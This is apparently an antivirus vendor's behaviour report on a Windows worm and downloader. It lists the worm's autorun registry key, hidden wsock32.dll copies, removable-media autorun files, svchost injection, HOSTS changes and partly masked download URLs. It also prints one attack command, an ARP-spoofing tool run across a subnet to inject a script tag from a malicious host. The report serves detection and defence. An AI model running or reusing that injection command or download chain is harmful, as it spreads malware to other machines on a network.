Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}] 'stubpath' = ''
Creates or modifies the following files:
- %WINDIR%\Tasks\ВМ»Ї.bat
- %WINDIR%\Tasks\wsock32.dll
- %WINDIR%\Tasks\csrss.exe
- %WINDIR%\Tasks\hackshen.vbs
Creates the following files on removable media:
- <Drive name for removable media>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe
- <Drive name for removable media>:\autorun.inf
Malicious functions:
Creates and executes the following:
- '%TEMP%\Iz1Ua4hP2I.pif'
- '<SYSTEM32>\arps.com' -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<script language="javascript" src="ht#p://ht#p://www.21jp.com.cn/mm/wowchina.js"></script>"
- '%TEMP%\LHZxlJgzcx.pif'
- '%TEMP%\Fuek83Ru5R.pif'
- '%TEMP%\B8CdMJEHhv.pif'
- '%TEMP%\yMuBposUYF.pif'
- '%TEMP%\VvwQ6pyYhA.pif'
- '%TEMP%\EJpjjJ42fS.pif'
- '%TEMP%\22XDWEoQD7.pif'
- '%WINDIR%\Tasks\csrss.exe'
- '<SYSTEM32>\wincap.exe'
- '%TEMP%\IyRSwWbTQh.pif'
- '%TEMP%\BmhcXVSfV2.pif'
- '%TEMP%\LHZxlJgzcx.pif' (downloaded from the Internet)
- '%TEMP%\B8CdMJEHhv.pif' (downloaded from the Internet)
- '%TEMP%\Fuek83Ru5R.pif' (downloaded from the Internet)
- '%TEMP%\22XDWEoQD7.pif' (downloaded from the Internet)
- '%TEMP%\BmhcXVSfV2.pif' (downloaded from the Internet)
- '%TEMP%\EJpjjJ42fS.pif' (downloaded from the Internet)
- '<SYSTEM32>\wincap.exe' (downloaded from the Internet)
- '%TEMP%\IyRSwWbTQh.pif' (downloaded from the Internet)
- '%TEMP%\VvwQ6pyYhA.pif' (downloaded from the Internet)
- '%TEMP%\yMuBposUYF.pif' (downloaded from the Internet)
- '<SYSTEM32>\arps.com' (downloaded from the Internet)
- '%TEMP%\Iz1Ua4hP2I.pif' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\ipconfig.exe'
- '<SYSTEM32>\cmd.exe' /c c:\mfxixue.bat
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Terminates or attempts to terminate
the following user processes:
- 360tray.exe
Modifies file system :
Creates the following files:
- C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
- C:\Far2\Plugins\WinSCP\forms\wsock32.dll
- C:\Far2\Plugins\WinSCP\lib\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
- C:\Far2\Plugins\MacroView\wsock32.dll
- C:\Far2\Plugins\Network\wsock32.dll
- C:\Far2\Plugins\ProcList\wsock32.dll
- C:\Far2\Plugins\FTP\lib\wsock32.dll
- C:\Far2\Plugins\FTP\wsock32.dll
- C:\Far2\Plugins\HlfViewer\wsock32.dll
- C:\Far2\Plugins\TmpPanel\wsock32.dll
- C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
- C:\Far2\Plugins\WinSCP\far\wsock32.dll
- C:\Far2\Plugins\WinSCP\fari\wsock32.dll
- C:\Far2\Plugins\WinSCP\components\wsock32.dll
- C:\Far2\Plugins\WinSCP\console\wsock32.dll
- C:\Far2\Plugins\WinSCP\core\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
- C:\Far2\Plugins\WinSCP\wsock32.dll
- C:\Far2\Plugins\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\chajian[1].exe
- C:\Far2\Plugins\WinSCP\release\wsock32.dll
- C:\Far2\Plugins\WinSCP\resource\wsock32.dll
- C:\Far2\Plugins\WinSCP\windows\wsock32.dll
- %TEMP%\22XDWEoQD7.pif
- C:\Far2\wsock32.dll
- <Auxiliary element>
- %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
- C:\Far2\PluginSDK\Headers.c\wsock32.dll
- C:\Far2\PluginSDK\Headers.pas\wsock32.dll
- C:\Far2\PluginSDK\wsock32.dll
- %TEMP%\BmhcXVSfV2.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\arp[1].exe
- <SYSTEM32>\arps.com
- %TEMP%\IyRSwWbTQh.pif
- C:\Far2\Documentation\eng\wsock32.dll
- C:\Far2\Documentation\rus\wsock32.dll
- C:\Far2\Documentation\wsock32.dll
- %TEMP%\Iz1Ua4hP2I.pif
- C:\Far2\Plugins\7-Zip\wsock32.dll
- C:\Far2\Plugins\Align\wsock32.dll
- %TEMP%\EJpjjJ42fS.pif
- C:\Far2\Encyclopedia\wsock32.dll
- C:\Far2\FExcept\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\1[1].exe
- C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
- C:\Far2\Addons\Colors\wsock32.dll
- C:\Far2\Addons\Macros\wsock32.dll
- C:\mfxixue.bat
- <Current directory>\wsock32.dll
- C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
- C:\Far2\Addons\SetUp\wsock32.dll
- C:\Far2\Addons\XLat\Russian\wsock32.dll
- C:\Far2\Addons\XLat\wsock32.dll
- C:\Far2\Addons\wsock32.dll
- C:\Far2\Addons\Shell\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\wincap[1].exe
- <SYSTEM32>\wincap.exe
- C:\Far2\Plugins\DrawLine\wsock32.dll
- C:\Far2\Plugins\EditCase\wsock32.dll
- C:\Far2\Plugins\EMenu\wsock32.dll
- C:\Far2\Plugins\Colorer\wsock32.dll
- C:\Far2\Plugins\Compare\wsock32.dll
- %TEMP%\LHZxlJgzcx.pif
- C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
- C:\Far2\Plugins\ExtSearch\wsock32.dll
- C:\Far2\Plugins\FarCmds\wsock32.dll
- C:\Far2\Plugins\FileCase\wsock32.dll
- C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\wsock32.dll
- C:\Far2\Plugins\Brackets\wsock32.dll
- C:\Far2\Plugins\Colorer\bin\wsock32.dll
- %TEMP%\yMuBposUYF.pif
- C:\Far2\Plugins\arclite\wsock32.dll
- %TEMP%\VvwQ6pyYhA.pif
- C:\Far2\Plugins\AutoWrap\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
- %TEMP%\Fuek83Ru5R.pif
- C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\wsock32.dll
- %TEMP%\B8CdMJEHhv.pif
Sets the 'hidden' attribute to the following files:
- C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\wsock32.dll
- C:\Far2\Plugins\WinSCP\release\wsock32.dll
- C:\Far2\Plugins\WinSCP\resource\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
- C:\Far2\Plugins\WinSCP\core\wsock32.dll
- C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
- C:\Far2\Plugins\WinSCP\console\wsock32.dll
- C:\Far2\Plugins\TmpPanel\wsock32.dll
- C:\Far2\Plugins\WinSCP\components\wsock32.dll
- C:\Far2\Plugins\WinSCP\far\wsock32.dll
- C:\Far2\Plugins\WinSCP\forms\wsock32.dll
- C:\Far2\Plugins\WinSCP\lib\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
- C:\Far2\Plugins\WinSCP\fari\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
- C:\Far2\PluginSDK\Headers.c\wsock32.dll
- C:\Far2\PluginSDK\Headers.pas\wsock32.dll
- C:\Far2\Plugins\wsock32.dll
- C:\Far2\Plugins\WinSCP\windows\wsock32.dll
- C:\Far2\Plugins\WinSCP\wsock32.dll
- C:\Far2\PluginSDK\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
- C:\Far2\wsock32.dll
- <Auxiliary element>
- C:\Far2\FExcept\wsock32.dll
- C:\Far2\Plugins\7-Zip\wsock32.dll
- C:\Far2\Encyclopedia\wsock32.dll
- C:\Far2\Documentation\rus\wsock32.dll
- C:\Far2\Documentation\wsock32.dll
- C:\Far2\Plugins\Align\wsock32.dll
- C:\Far2\Plugins\Colorer\bin\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
- C:\Far2\Plugins\Brackets\wsock32.dll
- C:\Far2\Plugins\arclite\wsock32.dll
- C:\Far2\Plugins\AutoWrap\wsock32.dll
- C:\Far2\Documentation\eng\wsock32.dll
- C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
- C:\Far2\Addons\Colors\wsock32.dll
- C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
- <Drive name for removable media>:\autorun.inf
- <Current directory>\wsock32.dll
- C:\Far2\Addons\Macros\wsock32.dll
- C:\Far2\Addons\XLat\wsock32.dll
- C:\Far2\Addons\wsock32.dll
- C:\Far2\Addons\XLat\Russian\wsock32.dll
- C:\Far2\Addons\SetUp\wsock32.dll
- C:\Far2\Addons\Shell\wsock32.dll
- C:\Far2\Plugins\FarCmds\wsock32.dll
- C:\Far2\Plugins\FileCase\wsock32.dll
- C:\Far2\Plugins\ExtSearch\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
- C:\Far2\Plugins\FTP\lib\wsock32.dll
- C:\Far2\Plugins\Network\wsock32.dll
- C:\Far2\Plugins\ProcList\wsock32.dll
- C:\Far2\Plugins\MacroView\wsock32.dll
- C:\Far2\Plugins\FTP\wsock32.dll
- C:\Far2\Plugins\HlfViewer\wsock32.dll
- C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\wsock32.dll
- C:\Far2\Plugins\Colorer\wsock32.dll
- C:\Far2\Plugins\EMenu\wsock32.dll
- C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
- C:\Far2\Plugins\EditCase\wsock32.dll
- C:\Far2\Plugins\Compare\wsock32.dll
- C:\Far2\Plugins\DrawLine\wsock32.dll
Modifies the HOSTS file.
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':139
- 'www.21##.com.cn':80
- '9u##9.cn':80
- '<Private IP address>':445
- 'localhost':1039
- '<Private IP address>':80
TCP:
HTTP GET requests:
- www.21##.com.cn/mm/arp.exe
- 9u##9.cn/wm/chajian.exe
- www.21##.com.cn/mm/1.exe
- www.21##.com.cn/mm/tongji/ct.asp?ma####################
- www.21##.com.cn/mm/wincap.exe
UDP:
- DNS ASK 9u##9.cn
- DNS ASK www.21##.com.cn
Miscellaneous:
Searches for the following windows:
- ClassName: 'AfxControlBar42s' WindowName: ''
